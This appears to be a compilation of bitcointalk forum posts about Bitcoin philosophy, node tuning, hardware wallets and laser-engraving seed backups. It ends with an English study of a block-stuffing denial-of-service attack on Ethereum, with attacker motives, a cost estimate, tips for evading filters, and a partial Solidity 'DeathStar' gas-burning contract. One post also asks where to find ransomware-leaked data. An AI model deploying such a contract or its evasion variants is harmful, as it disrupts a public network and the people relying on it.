[E mi rendo anche conto che in questa catena di speranze e' impossibile che vada tutto per il verso giusto.]

AKA: Riflessioni in una domenica d'estate sulla lunga storia tra me e Bitcoin

Quando 9 anni fa mi sono iscritto a questo forum, il 95% delle discussioni riguardavano
concetti, meccanismi e filosofia che stavano dietro alla grande novita' che era Bitcoin.

A quei tempi c'erano fondamentalmente 2 altcoin: XRP (che era considerata una roba che non meritava neppure il titolo di altcoin in quanto centralizzata)
e LTC (che era considerata una furbesco e innocquo tentativo di copia di BTC).

Poi c'erano gli exchange da prendere sempre e assolutamente con le pinze, in quanto facevano tornare dalla finestra
quanto si voleva buttar fuori dalla porta: doversi fidare di qualcuno che non si conosce e che fondamentalmente si fara' i suoi interessie non certo i tuoi.

sono passati 9 anni ed il terzo crypto-winter che affronto, e ne sono successe di cose:

Le alt-coin (tra vere blockchain e token) sono quasi 20.000 a dar retta a coinmarketcap

Sono nate le alt-coin programmabili, anche se i programmi si chiamano smart-contract son pur sempre  un set di istruzioni per fare qualcosa.

E' nata la defi, basata sulla possibilita' di programmare certe blockchain.

Sono nate le stable-coin, alcune centralizzate ed altre algoritmiche.

Sono nati gli NFT

Gli exchange sono migliaia.

E la lista potrebbe protrarsi tantissimo, ma mi fermo qui, e' sufficente per esporre il concetto che voglio descrivere.

E' evidente che in tutto questo fervore, le novita' sono tantissime: poche veramente intelligenti, alcune inutili,
molte stupide e dannose e tantissime vere e proprie truffe.

Ma se volessi fare una sintesi della vera differenza che ho notato in tutti questi anni, eccola:

mi trovo sempre piu' spesso a discutere di dovermi fidare di questo o di quell'altro,
e sempre di meno a parlare del concetto rivoluzionario di Bitcoin che era proprio poter per la prima volta
distribuire la fiducia e non doversi piu' fidare di nessuno.

E cosi' mi ritrovo a discutere di quanto bitcoin e' pou' o meno correlato agli asset tradizionali della finanza
e alle decisoni di politica monetaria
O mi ritrovo a discutere di quanto sia impossibile che un certo exchange possa lasciare i clienti in braghe di tela o metterli alle strette
O mi ritrovo a discutere di quanto sia difficile che una certa stablecoin perda il PEG

Ognuno di questi argomenti, di per se', ha effettivamente un suo interesse, una sua indubbia importanza,
e sarebbe perlomeno ingenuo pensare che un fenomeno come Bitcoin possa crescere senza intrecciarsi inevitabilmente
col resto della finanza e ancor piu' a fondo con la vita delle persone.

MA

Vorrei ricordare prima di tutto a ME, e anche a chi ha voglia di seguire il ragionamento,
che bitcoin era nato proprio per non doversi piu' fidare di nessun tipo
di organizzazione centralizzata, formata da una persona o gruppi di persone, e quindi non doversi piu' trovarsi
assogettati a certi tipi di dinamiche, e fondamentalmente ricatti.

invece mi trovo a dire che spero che le tether e le altre stable non perdano il PEG, perche' altrimenti sarebbe un casino,

E spero anche che Binance, Bitfinex e compagni siano davvero abbastanza onesti e ben organizzati da non aver problemi...
(non basta onesti, devono anche avere abbastanza controlli interni per far si che un dipendente/gruppo di dipendenti truffatare non li manometta dall'interno)

E spero che la finanza tradizionale o qualche stato non si organizzi per portare sotto traccia una attacco mirato  proprio
a questi exchange e/o a queste stable che sono i "balurdi" del mondo crypto (Gli usa ad esempio potrebbero tranquillamente
organizzare una roba del genere per cercare di disinnescare altri casi alla El salvador)

E spero che nessuno della pletora di nuovi protocolli che nascono (vedi TERRA-LUNA) non siano inventati a scopi truffaldini,
e se anche sono inventati in buona fede, devo sperare che non ci siano bug/errori/sviste che impediscano il corretto funzionamento.

E spero anche che i vari investitori che hanno investito miliardi di $ in fondi di crypto, avessero abbastanza soldi per farlo,
e non li abbiano presi in prestito a condizioni che in mercato veramente bear non possono onorare.

E spero che i vari CEFI/DEFI stiano offrendo interessi che veramente potevano pagare, e non fossero invece
sistemi per fregare preziosi Bitcoin alla gente.

E cosi' di speranza in speranza, mi rendo conto che mi ritrovo legato ancor piu' legato ai destini di entita' ingote e centralizzate rispetto
ai tempi della finanza "tradizionale"

E mi rendo anche conto che in questa catena di speranze e' impossibile che vada tutto per il verso giusto.

E sopratutto mi chiedo: perche' ho questa catena di speranze, che con la natura di bitcoin fondamentalmente non c'entra nulla,
visto che l'unica certezza che ho e' che qualsiasi cosa succeda NESSUNO PUO' PORTARMI VIA I MIEI BITCOIN ?

La risposta onesta e' che ho tutte queste speranze perche' non mi aggrada che prezzo di bitcoin (ossia il rapporto BTC/USD) crolli.

E qui sta finalmente la vera spietata conclusione di tutto questo ragionamento:

Ma che si fottano tutti: La FED, La BCE, l'FMI, Il NASDAQ, le alt-coin che non possono funzionare by-design, quelle che si spaccano per errori,
le stable-coin che servono solo a speculare, i gattini e le scimmie digitali, I fondi che fanno il passo piu' lungo della gamba,
Cefi e Defi che promettono interessi insostenibili e spietatamente anche tutta la gente che crede in queste cazzate.

Se per ripulirsi da questa circo il prezzo di Bitcoin deve scivolare a 1000$, o a 100$ o a 10$ mi sta bene, non ho nessuna intenzione di farmi ricattare
da queste dinamiche, le stesse dinamiche del mondo fiat che sta andando rapidamente al collasso. Eventualmente sara' un'occasione
per aumentare le mie preziose riserve di BTC.

Che si fottano tutti: io ho una certezza assoluta: Ho i miei bitcoin e nessuno me li puo' portare via,
se io non sono cosi' stupido da farmeli portare via, e tutto il resto puo' tranquillamente andare al diavolo.

E cosi' posso rifocalizzarmi su speranze piu' consone:

Spero che tutte le strutture inutili, malfunzionanti o truffaldine del mondo crypto vengano spazzate via o almeno fortemente ridotte.
Spero che alla fine di questo doloroso processo, sempre piu' gente conosca o ri-conosca bitcoin come unica spiaggia sicura.

https://www.cnbc.com/2022/06/13/binance-pauses-bitcoin-withdrawals-as-crypto-sell-off-deepens.html

annamo bene...

ricordatevi "NOT YOUR KEYS NOT YOUR COIN"
specialmente quando le cose si mettono male.

Non so se anche binance sia messo male, ma sicuramente con una mossa del genere
non permettono alla gente di muoversi in liberta', in un momento di grande pressione come questo,
E NON VA BENE A PRESCINDERE.

[Non taglia nessun metallo.]

Premessa:

Questo thread vuole essere un complemento all'ottimo post di filippone https://bitcointalk.org/index.php?topic=5388917.0

In particolare, voglio suggerire come utilizzare un incisore laser
per incidere le rondelle anziche' usare mazzetta e punzoni.

Il costo (se non avete gia' un incisore laser) sara' sicuramente superiore a mazzetta/punzoni,
il vantaggio e' che vi metterete in casa un attrezzo veramente versatile e divertente che potrete
riutilizzare per tanti lavori hobbistici.

Resta valido cio' che descritto nel post di filippone per quel che riguarda gli obiettivi
e i vari materiali da utilizzare (bulloni, rondelle, contenitore sigillato ecc.)
mentre NON servira' il materiale per l'incisione (mazza, punzoni, dime ecc)
sostituito dall'incisore laser.


Cenni storici

Per tanti anni l'incisione laser e' stato un settore quasi esclusivamente professionale
in quanto gli apparati laser basati su tubi a CO2 avevano costi esorbitanti.

Con l'uscita dei laser basati su tecnologia LED, di dimensioni e costi molto piu' contenuti,
sono apparse le prime applicazioni hobbistiche.

La grossa limitazione dei laser led e' la potenza ottica ottenibile: Mentre nei laser CO2
si puo' arrivare a 100 e piu' watt ottici, nei laser a led si parlava di frazioni di watt ottico.

La tecnologia pero' continua sempre a progredire, e recentemente sono apparsi laser led
con potenze ottiche che cominciano ad essere interessanti, di qualche watt.

Attualmente si trovano a costi praticamente irrisori apparati laser led che hanno potenze ottiche di 5W
e persino 10w (ottenute convergendo in un unico punto la potenza ottica di due o piu'led)

Altro settore di perfezionamento sono la riduzione della dimensione del punto di fuoco,
infatti 5w ottici concentrati in un quadrato da 0.5x0.5 mm sono altra cosa rispetto a 5w ottici
concentrati in 0.2x0.2mm, ovviamente nel secondo caso abbiamo un notevole aumento della precisione
ed un aumento della quantita' di potenza sull'area colpita.

Infine anche sul settore della sicurezza sono stati fatti notevoli progressi. I primi laser
hobbistiici, avevano il laser che distava alcuni centimentri dal pezzo, e gran parte del percorso
del raggio era visibile. Questo vuol dire che era facilissimo creare incidenti, guardando direttamente
il raggio di luce ad altissima intensita'. Attualmente, le conformazioni dei laser tendono ad avere
una protezione che copre il raggio fino a (quasi) filo pezzo, in modo da minimizzare
(tendenzialmente annullare) la parte di raggio visibile.


Il mio incisore laser hobbistico

Un incisore laser e' fondamentalmente una macchina a controllo numerico (CNC)
dotata di due assi (X e Y) per spostare l'emettitore laser, piu' un controller
per gestire la potenza del laser.

I comandi vengono passati alla macchina attraverso un liguaggio chiamato GCODE
che e' una sorta di assembler delle macchine CNC, ossia una serie di comandi che indicano
dove spostare l'attrezzo e con che potenza usarlo. Lo stesso linguaggio gcode viene usato
ad esempio anche nelle stampanti 3d, anche se in quel caso esiste un terzo asse Z, e invece
che pilotare la potenza di un laser si pilota l'estrusione di materiale.

L'incisore laser che ho usato e' un ATOMSTACK 5A PRO+, modello uscito da poco, che ha una potenza ottica
di 5W e un punto di fuoco da 0.23mmx0.23mm

https://www.atomstack.net/collections/laser-engraver/products/upgraded-atomstack-a5-pro-40w-laser-engraving-machine

Attenzione, come in ogni cosa in campo hobbistico/consumer, il marketing fa di proposito una grande confusione.
Spesso in queste macchine vedete citato 20W, 30W, 40W... ma spesso si tratta di watt di assorbimento elettrico.
L'unico parametro importante sono i watt ottici e la dimensione del punto di fuoco, il resto e' fuffa marketing
(anche questo dispositivo potrebbe sembrare da 40W, ma ha soli 5W ottici)

Ovviamente si tratta di un prodotto cinese, ma devo dire che vista la semplicita' della meccanica
e le poche sollecitazioni alle quali e' sottoposta la struttura, nel complesso e' tutto ben fatto.

Io l'ho comprato su banggood e mi e' arrivata in una settimana, senza nessun problema:

https://www.banggood.com/it/New-ATOMSTACK-A5-PRO+-Upgraded-Laser-Engraving-Machine-Cutter-Wood-Cutting-Design-Desktop-DIY-Laser-Engraver-New-Eye-Protection-Design-Ultra-Fine-Laser-Focal-Area-p-1910340.html?cur_warehouse=CZ

Il prezzo e' secondo me relativamente basso visto la grande quantita' di cose che si possono fare,
e girando un po' tra i vari "promoter youtuber" trovate facilmente anche dei coupon di sconto
(io ne ho trovatouno da 10% di sconto)

* Io non sono promoter di nessuno e non offro coupon, semplicemente ho scelto questo oggetto dopo qualche ricerca,
magari ce ne sono anche di migliori a minor prezzo.


Alcune considerazioni PRIMA di comprare un oggetto del genere:

Pro:

Semplicissimo da montare/installare (arriva smontato) non richiede nessuna particolare abilita' o skill meccanico.

Incide perfettamente legno, compensato, cuoio, carta, cartone, plastica, ACCIAIO INOX (no altri metalli, non incide alluminio)

Taglia alcuni materiali: Legno o compensato sottile, fino a 5mm. Non taglia nessun metallo.

Ad esempio incidendo e tagliando compensato, potete fare un sacco di lavori di modellistica veramente divertenti
e interessanti, con una precisione IMPRESSIONANTE.

Contro:

Mentre incide e/o taglia, il materiale emette fumo/gas.
NON pensate di mettervi un attrezzo simile in casa/ufficio, vi appesterebbe gli ambienti.
In generale dovete pensare di posizionarlo in una zona di lavoro (garage, laboratorio, ecc.) ben aerata,
e possibilmente attrezzata con qualcosa per aspirare i fumi.

L'emissione laser e' pericolosa per gli occhi. Nonostante recentemente queste macchine siano migliorate
molto sul fronte sicurezza, NON USATELA senza occhiali di protezione.

Mentre incide e/o taglia, scalda il materiale, questo vuol dire che il rischio di un innesco di fiamma
e' sempre possibile. Non lasciatelo senza nessun controllo a lavorare per ore.


(... segue descrizione del software)

Visto che l'aria sta diventando un po' pesante, mi sono chiesto che opzioni ci sono
per una eventuale connettivita' alternativa.

Supponiamo che le cose si mettano male e i fornitori tradizionali di connettivita'
(Tim, Fastweb, Wind ecc) smettano di funzionare, o filtrino certi tipi di connettivita',
o qualsiasi cosa che ci potrebbe tagliare fuori dalla connettivita internet.

Purtroppo se non posso connettermi, dei bitcoin me ne faccio poco...

Che sistemi alternativi (e super resilienti) di connettivita' conoscete?

Da giovane mi ero divertito un po' con IP over HAM radio, ma si ottenevano bande ridicole
e non so neppure se esista ancora.

Oppure varie reti satellitari... insomma sparate cosa conoscete nel campo della connettivita'
alternativa ad alta resilienza, cosi' per divertirci un po'.

In questi giorni ho lavorato parecchio sulla messa a punto di un full node Bitcoin.

Una delle cose che ho notato e' che molti nodi bitcoin in giro per il mondo sono gia' pienamente  IPv6.
La cosa mi ha incuriosito (anche professionalmente) e mi sono aggiornato sulla diffusione di IPV6.

I dati mi hanno molto colpito:

https://www.google.com/intl/en/ipv6/statistics.html

google da' una diffusione di IP6 quasi al 35% nel mondo.
Vebbe' uno dice, google potrebbe essere di parte. Guardiamo i dati del RIPE:

https://sg-pub.ripe.net/stats/ipv6/adoption/20200601/ipv6.html

i dati per l'italia sono sconsolanti: mentre i paesi piu' avanzati d'europa stanno rapidamente adottando IPv6,
noi siamo tra i piu' indietro d'europa.

E questo mi spiega perche' parecchi nodi bitcoin tedeschi e inglesi sono gia' pienamente IPv6.
Ho anche scoperto che Fastweb, Telecom e altri provider di comunicazione hanno (ovviamente) gia'
pronta una serie di risorse IPv6.

Tutto questo per dirvi che questa cosa va tenuta strettamente monitarata, in quanto presto (un anno? due? tre?)
in Italia IMROVVISAMENTE scopriremo che esiste IPV6 e che dobbiamo adeguarci entro ieri.

Pare che le isole tonga replicheranno il modello El salvador,
la data dovrebbe essere novembre:

https://cointelegraph.com/news/tonga-to-copy-el-salvador-bill-making-bitcoin-legal-tender-says-former-mp

Visto che mi trovo un nodo funzionante, ho "riesumato" i miei vecchi programmi di statistiche.

Prima di farli girare su un lungo periodo, un anno o piu', il che vuol dire giorni di elaborazione,
vorrei prima mettere a punto bene i dati da estrarre, per quello vorrei un feedback da voi.

Vi presento qui una prima bozza dei risultati fatti sul mese di dicembre e su quello di novembre 2021:

Quello che mi interesserebbe avere sopratutto sono dei range di valori "significativi", che diano indicazioni
interessanti sui flussi di BTC, in pratica una cosa tipo la tabella che si trova qui
https://bitinfocharts.com/top-100-richest-bitcoin-addresses.html
ma con un miglior sezionamento e sopratutto con un paragone dell'andamento tra mese e mese.

Ogni suggerimento e' quindi ben accetto.

---------------------------------------------------------------------------------------------------------------------------------------------------
block# 712008  2021-11-30 23:52:12        num %of tot   %dead  diff prev           value %TotVal  %vdead       diff prev
---------------------------------------------------------------------------------------------------------------------------------------------------
= DUST (<= 500 sat)                    844523   2.15%  33.75%                    0.35734   0.00%  16.44%         0.00000
> DUST <= 0.001 BTC                  19430800  49.51%   0.10%                 4507.89909   0.02%   0.36%         0.00000
> 0.001 BTC <= 0.01 BTC               9825143  25.03%   0.15%                39696.79980   0.21%   0.27%         0.00000
> 0.01 BTC <= 0.1 BTC                 5947996  15.16%   0.73%               203964.13039   1.08%   0.86%         0.00000
> 0.1 BTC <= 1 BTC                    2470033   6.29%   0.68%               847235.68311   4.49%   1.13%         0.00000
> 1 BTC <= 5 BTC                       503673   1.28%   1.34%              1075946.23224   5.70%   1.61%         0.00000
> 5 BTC <= 10 BTC                       83756   0.21%   1.99%               618134.25515   3.27%   2.05%         0.00000
> 10 BTC <= 25 BTC                      55253   0.14%   1.66%               863250.90846   4.57%   1.54%         0.00000
> 25 BTC <= 50 BTC                      55934   0.14%  60.76%              2474523.91623  13.10%  68.62%         0.00000
> 50 BTC <= 75 BTC                       8239   0.02%   3.77%               478435.35884   2.53%   3.32%         0.00000
> 75 BTC <= 100 BTC                      5017   0.01%   0.26%               451887.77892   2.39%   0.27%         0.00000
> 100 BTC <= 500 BTC                    10996   0.03%   0.24%              2166807.33573  11.47%   0.23%         0.00000
> 500 btc <= 1000 BTC                    2565   0.01%   0.16%              1801380.19739   9.54%   0.17%         0.00000
> 1000 btc <= 10000 BTC                  2059   0.01%   0.05%              5283988.55348  27.98%   0.06%         0.00000
> 10000 BTC                                84   0.00%   0.00%              2577590.63615  13.65%   0.00%         0.00000
                  Totale Attivi      39246071 100.00%   1.08%             18887350.04229 100.00%   9.43%         0.00000
                    Transazioni     691246318   0.00%   0.00%                    0.00000   0.00%   0.00%         0.00000
---------------------------------------------------------------------------------------------------------------------------------------------------
block# 716595  2021-12-31 23:55:23        num %of tot   %dead  diff prev           value %TotVal  %vdead       diff prev
---------------------------------------------------------------------------------------------------------------------------------------------------
= DUST (<= 500 sat)                    872671   2.20%  32.66%      28148         0.47196   0.00%  12.45%         0.11462
> DUST <= 0.001 BTC                  19814207  50.05%   0.09%     383407      4575.62345   0.02%   0.35%        67.72435
> 0.001 BTC <= 0.01 BTC               9763105  24.66%   0.15%     -62038     39315.42003   0.21%   0.27%      -381.37977
> 0.01 BTC <= 0.1 BTC                 5938610  15.00%   0.73%      -9386    203432.07778   1.08%   0.86%      -532.05261
> 0.1 BTC <= 1 BTC                    2470885   6.24%   0.68%        852    848197.71973   4.48%   1.13%       962.03662
> 1 BTC <= 5 BTC                       504493   1.27%   1.34%        820   1077812.15637   5.70%   1.61%      1865.92413
> 5 BTC <= 10 BTC                       84525   0.21%   1.97%        769    623261.54598   3.29%   2.03%      5127.29083
> 10 BTC <= 25 BTC                      54660   0.14%   1.68%       -593    852766.45814   4.51%   1.56%    -10484.45032
> 25 BTC <= 50 BTC                      55607   0.14%  61.11%       -327   2463797.06977  13.02%  68.91%    -10726.84645
> 50 BTC <= 75 BTC                       8353   0.02%   3.70%        114    482592.81215   2.55%   3.27%      4157.45331
> 75 BTC <= 100 BTC                      4971   0.01%   0.26%        -46    447938.29774   2.37%   0.27%     -3949.48118
> 100 BTC <= 500 BTC                    10931   0.03%   0.24%        -65   2157052.25941  11.40%   0.23%     -9755.07632
> 500 btc <= 1000 BTC                    2600   0.01%   0.15%         35   1837744.87464   9.72%   0.16%     36364.67725
> 1000 btc <= 10000 BTC                  2022   0.01%   0.05%        -37   5142934.42031  27.19%   0.06%   -141054.13317
> 10000 BTC                                89   0.00%   0.00%          5   2734597.58399  14.46%   0.00%    157006.94784
                  Totale Attivi      39587729 100.00%   1.07%     341658  18916018.79143 100.00%   9.41%     28668.74914
                    Transazioni     699368993   0.00%   0.00%    8122675         0.00000   0.00%   0.00%         0.00000

num      : number of addresses in this range of balance
%of tot  : percentage of the number of addresses
%dead    : percentage of active addresses with input and output operations prior to 2012
diff prev: number variation compared to the previous table
%TotVal  : % value of this range compared to the total value
%vdead   : % operations value prev 2012 ( % value of range))
diff prev: change in value compared to the previous table

                       gbianchi bitcointalk.org

[Erlay]

Sempre a seguito dei miei studi su un nodo bitcoin veloce,
ho trovato che esiste un sacco di movimento per quel che riguarda l'ottimizzazione del relay tra nodi.

In passato erano state fatte alcune implementazioni chiamate FIBER, FALCON e Fast Relay Network,
che servivano principalmente per la rete dei miner.

https://bitcoinmagazine.com/technical/how-falcon-fibre-and-the-fast-relay-network-speed-up-bitcoin-block-propagation-part-1469808784

questi 3 progetti sono attualmente abbandonati.

E' invece in corso di implementazione Erlay un nuovo protocollo
di relay basato sulla libreria Minisketch.

Sinteticamente, i nodi invece che flooddarsi le transazioni da eseguire, come fanno ora,
si scambiano delle rappresentazioni compatte, o sketch che poi verificano con un processo chiamato "riconciliazione"

Lo sviluppo di erlay e' attivo da due anni, e la prima versione e' stata scartata, perche' aveva parecchi difetti.
Ora e' in fase di merge finale una seconda versione, che forse sara' gia' presente nella prossima versione di Bitcoin Core.

La cosa interessante e' che dalle analisi statistiche si evince Erlay consuma molto meno banda rispetto al flooding,
permettendo quindi alla rete di scalare molto meglio, anche verso connettivita' piu' ridotte (es: paesi meno acanzati)

In pratica un grande passo avanti per una migliore scalabilita' dei nodi.

Per chi vuol approfondire:

Lo sviluppo:
https://github.com/bitcoin/bitcoin/pull/21515

Il BIP 330 (aggiornato) che definisce erlay:
https://github.com/naumenkogs/bips/blob/bip_0330_updates/bip-0330.mediawiki

Un paper di studio:
https://people.ece.ubc.ca/sasha/papers/ccs19.pdf

La libreria miniscketch:
https://github.com/sipa/minisketch

Sempre ravanando nei sorgenti di bitcoin, ho trovato questo:

nel file  bitcoin/src/policy/policy.cpp  viene definito il concetto di "dust",
ossia di UTXO con un valore cosi' basso che non conviene transare, in quanto
le fee spese per fare la transazione costano piu' del valore dell'UTXO stess.

(Do' per scontato che sappiate cos'e' un UTXO)

    // "Dust" is defined in terms of dustRelayFee,
    // which has units satoshis-per-kilobyte.
    // If you'd pay more in fees than the value of the output
    // to spend something, then we consider it dust.
    // A typical spendable non-segwit txout is 34 bytes big, and will
    // need a CTxIn of at least 148 bytes to spend:
    // so dust is a spendable txout less than
    // 182*dustRelayFee/1000 (in satoshis).
    // 546 satoshis at the default rate of 3000 sat/kvB.
    // A typical spendable segwit P2WPKH txout is 31 bytes big, and will
    // need a CTxIn of at least 67 bytes to spend:
    // so dust is a spendable txout less than
    // 98*dustRelayFee/1000 (in satoshis).
    // 294 satoshis at the default rate of 3000 sat/kvB.

E' ovvio che cosa si intende per "Dust" varia al variare delle fee, e piu' aumentano le fee
piu' sono le UTXO inspendibili, inoltre varia anche dal tipo di transazione usata (segwit o non segwit).

Per puro esercizio ho provato a fare il totale degli UTXO con un contenuto <= 500 sat
un valore che in non segwit non e' spendibile, e in segwit e' veramente poco appetibile spendere.

ecco i risultati al blocco 715471:

tot Num UTXO                              78290328
tot Num UTXO Dust                          1810792
tot % DUST                                    2.31
tot BTC UTXO Dust                       1.57701941

Non mi sembra un problema enorme, ma neppure una cosa da prendere sottogamba,
sono pur sempre un gran numero di UTXO quasi certamente inutili che tutti i wallet si devono sorbire.

E lo vedo anche un modo per spammare la rete ad un costo relativamente basso.

Insomma un parametro sicuramente da tenere monitorato.

In questi giorni sto smanettando coi sorgenti di bitcoin core per
ottenere un full node performante.

Nelle varie scorribande nel codice, ho scoperto questo,
che NON sapevo, e penso sia utile condividere:

Come sapete, con il segregate witness e' stato introdotto un nuovo
tipo di indirizzi, il bech32, che ultimamente inizia ad essere utilizzato in modo diffuso.

MA hanno scoperto che il bech32 ha un difetto (non da poco):
il chechsum in certi casi e' inefficace.

Quindi con la BIP 350 e' stato introdotto un nuovo tipo di indirizzo,
il bech32m che andra' a sostituire i bech32

https://github.com/bitcoin/bips/blob/master/bip-0350.mediawiki

Compatibility

This document introduces a new encoding for v1 segregated witness outputs and higher versions. There should not be any compatibility issues on the receiver side; no wallets are creating v1 segregated witness addresses yet, as the output type is not usable on mainnet.

On the other hand, the Bech32m proposal breaks forward-compatibility for sending to v1 and higher version segregated witness addresses. This incompatibility is intentional. An alternative design was considered where Bech32 remained in use for certain subsets of future addresses, but ultimately discarded. By introducing a clean break, we protect not only new software but also existing senders from the mutation issue, as new addresses will be incompatible with the existing Bech32 address validation. Experiments by Taproot proponents had shown that hardly any wallets and services supported sending to higher segregated witness output versions, so little is lost by breaking forward-compatibility. Furthermore, those experiments identified cases in which segregated witness implementations would have caused wallets to burn funds when sending to version 1 addresses. In case it is still in use, the chosen approach will prevent such software from destroying funds when attempting to send to a Bech32m address.

Per un progetto che sto seguendo,  ho attivato un full node bitcoin.

il nodo e' questo:

93.188.227.245:8333

Ho pero' bisogno che sia il piu' possibile veloce, soptratutto per quel che
riguarda la connessione e il dialogo con gli altri nodi.

Per capirci, vorrei arrivare i primi posti della leaderboard di bitnodes.

ho gia' provveduto a metterlo in una rete affidabile, con 3 connessioni in fibra
gestite via BGP per avere un uptime di rete il piu' possibile vicino al 100%
e anche l'HW del nodo e' dimensionato in modo piu' che abbondante.

EDIT

Fatto, grazie.

Per impratichirmi mi sono comprato due ledger nano S,
e mi sono venute alcune idee su come gicherellarci in modi "non convenzionali"

Ho fatto una rapida ricerca su internet e, come al solito, ho scoperto che non sono stato l'unico a pensarci.

https://thenextweb.com/news/ledger-nano-s-hack-cryptocurrency
https://securityboulevard.com/2018/03/15-year-old-finds-flaw-in-ledger-crypto-wallet/

Questo mette in evidenza come ci potrebbe essere la possibilita' che qualcuno nella catena distributiva
sostituisca il firmware PRIMA che la chiavetta venga consegnata,  ed esponga il device alla possibilita' di attacchi esterni.

https://github.com/hosseinpro/LedgerNanoSHack

Questo invece e' un progettino che fa esattamente quel che volevo fare io, ossia
mettere uno "sniffer" tra il software del wallet e la porta usb di comunicazione, e
vedere come si parlano il wallet e la chiavetta.

Si tratta comunque di un HW proprietario, con firmware prorpietario, che tutti dobbiamo sperare
non abbia qualche bug o peggio errore di progetto non ancora scoperto (o pubblicamento annunciato)

In pratica il ledger aggiunge uno strato del quale ci "dobbiamo fidare" ma non vi e' certezza
assoluta che funzioni correttamente, o che non possa venire hackerato anche in futuro,
anche perche' questo strato non ha nulla a che vedere con i meccanismi ben noti della blockchain.

Dopo soli due giorni di "spataccamento" per divertimento mi sento di dare due consigli:

1) per sicurezza ricaricate sulla chiavetta un firmware che sia sicuramente originale ledger.

2) NON FIDATEVI CIECAMENTE della chiavetta.

Altre note:

- Ho chiesto ad un collega che lo usa se sapeva che dopo 3 tentativi di pin sbagliati, ll
device si resetta, e bisogna riattivarlo con le 24 parole.... e non lo sapeva!

- Come ogni oggetto si puo' rompere, e puo' darsi che per la legge di murpy, lo faccia
quando servira' urgentemente, quindi per sicurezza ne ho presi 2.

- per un uso quotidiano e' innegabilmente comodo,
ma per fare hodl visto che bisogna fidarsi di uno strato "ignoto", e che in ogni caso bisogna salvarsi
le parole  di ripristino + il pin... non e' piu' sicuro salvarsi un semplice cold-wallet?

 

Giusto per farmi due risate:

https://www.lastampa.it/cronaca/2021/10/22/news/siae-gli-hacker-pubblicano-nel-dark-web-altri-1-95-gigabyte-di-dati-sensibili-1.40838227

Dice che gli hacker che hanno pubblicato gia' alcuni Gigabyte di dati, perche' la SIAE si rifiuta di pagare il riscatto

Se e' vero, sapete dove trovarli?

EDIT: HO VISTO COSE..... CHE GRANDIOSA FIGURA DI MERDA!!!!!!

Vorrei regalare un wallet con dentro un cospicuo importo in BTC.

La persona alla quale andra', non sa quasi nulla di questo mondo.

Pensavo quindi a un qualcosa di HW, ma non conosco per nulla i modelli e le funzioni.

Avrese la bonta' di aiutarmi a scegliere un buon prodotto, semplice, adatto ad novizio,
affidabile, backuppabile, facilmente ripristinabile in caso di rottura?

Mi interessa che gestisca BTC e magari LN, non mi interessa niente delle altre crypto.

Altra cosa vorrei regalarlo gia' carico, quindi dovrebbe essere semplice cambiare eventuali password/seed
SENZA RISCHIARE DI PERDERE TUTTO

Credo che questo thread potrebbe venire comodo anche ad altri per fare un eventuale regalo di natale originale ed utile.

[An attack strategy on the Ethereum network based on Block Stuffing technique and the Deathstar smart contract.]

An attack strategy on the Ethereum network based on Block Stuffing technique and the Deathstar smart contract.
By gbianchi bitcointalk.org
Translated by fillippone.

This study stems from some observations:

• in the Ethereum network there is no concept of a "forbidden smart contract", the network is permissionless, meaning any user could possibly enter any type of code on the network, as long as the code is formally correct and pays for executing and running the code;
• the only mechanism to "govern" the execution of the code is the fact that the execution of any smart contract costs gas, proportional to the number of instructions executed and the type of each instruction. Not necessarily each smart contract has to execute useful operations: it can create a meaningless gas-burning loop.
• once it is entered in the network, the code is immutable, so there is no way to “get rid” of the smart contract from the network unless a hard fork-type like what happened with The DAO. But while the hacker of The Dao just exploited a bug in the contract to fund its child DAOs, Ethereum's core architecture is used here, making it really difficult to design a fairly effective hard fork.
• Each block has a maximum size defined not by the size in Bytes, but by the maximum GAS that can be spent in the block.
  After the London hard fork, the "normal" size of the block is variable around an average of 15,000,000 of gas and can increase up to 30,000,000 of gas based on the demand of the network, with a process called tâtonnement.
  Briefly, the maximum size of a block is given by BlockGasLimit.
• In the past, attacks have already been performed with the BlockStuffing technique and no effective structural solutions have been found. [3]
  
  

  3.3.3 DoS with Block Stuffing (V31).
    This vulnerability was first observed from the Fomo3D contract [23].
  The vulnerability entails only the attacker's transactions being included in the newly mined blocks
  while others are abandoned by miners for a period of time. This can happen when the attacker offers a higher
  gasPrice to incentivize the miners to select the attacker's transactions. This vulnerability is caused by the greedy
  mining incentive mechanism. At the moment of writing, there is no solution to prevent this vulnerability.
  

• Advanced MEV technologies can also be used [4][5] to maximize the possibility that our smart contract is included in the next block, scanning the mempool and verifying what are the fees with the highest gwei/gas to execute the transaction with the highest probability of being included.

Based on these observations, it is possible to design a "DeathStar" smart contract whose execution costs exactly the amount of gas needed to fill the block, so that it "burns" ethers only to compete with the other smart contracts for block inclusion.

Briefly, the transaction is buying the entire space of an ethereum block, and therefore does not remain any available for the execution of other smart contracts.

Reasons for a BlockStuffing attack

A group of attackers could be incentivized for various reasons to burn ethers to jeopardize the network, for example:

• Being supporters of another competing blockchain protocol.
• Organizing a short on Ethereum before the attack, congesting the Ethereum network and short covering at lower prices, covering the initial costs of the attack and eventually profiting from it.
• Cause problems/slow down/ profit from one or more of the various smart contracts running on Ethereum to take advantage of certain conditions (prize draws, online auctions, ICOs, financial transactions on DEX, Defi, etc ... as it already is been done [2])

In general, any person or group with sufficient economical and technical means and with any type of interest in the decline of the Ethereum network and/or the smart contracts running on it , could use this line of attack.

To estimate the cost involved, consider that an ethereum block is mined every approximately 15 seconds. Estimating the average block size of 15,000,000 gas, and a gas cost of 100 gwei, that's about 1.5 ETH per block. Let’s add a 10% fee to be the most competitive, we could then estimate a cost per block of about 1.65 ETH. At this cost of gas, at the current exchange rate of about $ 4,000 for an eth, an attack lasting 60 minutes would cost about 400 ETH, or about $ 1,600,000, a very small figure in relation to the value of the network of hundreds of billions of dollars.

Obviously, this estimate varies according to the current cost of gas in gwei, and the eth/usd exchange rate, both of which are extremely variable.

DeathStar technical description

Using the solidity language, a smart contract is encoded executing a loop burning all the gas
passed by the calling transaction with the GasLimit parameter.

Eventually, you can create various slightly different versions of DeathStar, to make it more difficult to identify them by a possible HardFork or from a filter software added by miners or nodes, but each one of them working according to the same logic as in the examples that I will report here:

Examples Code of DeathStar code:

Code:

pragma solidity ^0.6.0;

// this version just before running out the gas stops,
// leaving a small margin of gas to execute the return instructions without error
pragma solidity ^ 0.6.0;
contract DeathStar_a
   {
   function DeathLoop_a () public payable returns (bool)
      {
      uint left = 0;
 
      while (true)
              {
              left = gasleft ();
 
              // just before finishing the gas stops,
              // leave a small margin of gas to execute the return statements without error
              if (left <1000)
                {
                break;
                }
              }
 
      return (true);
     }

Code:

// this version loops until it reaches the out of gas error.
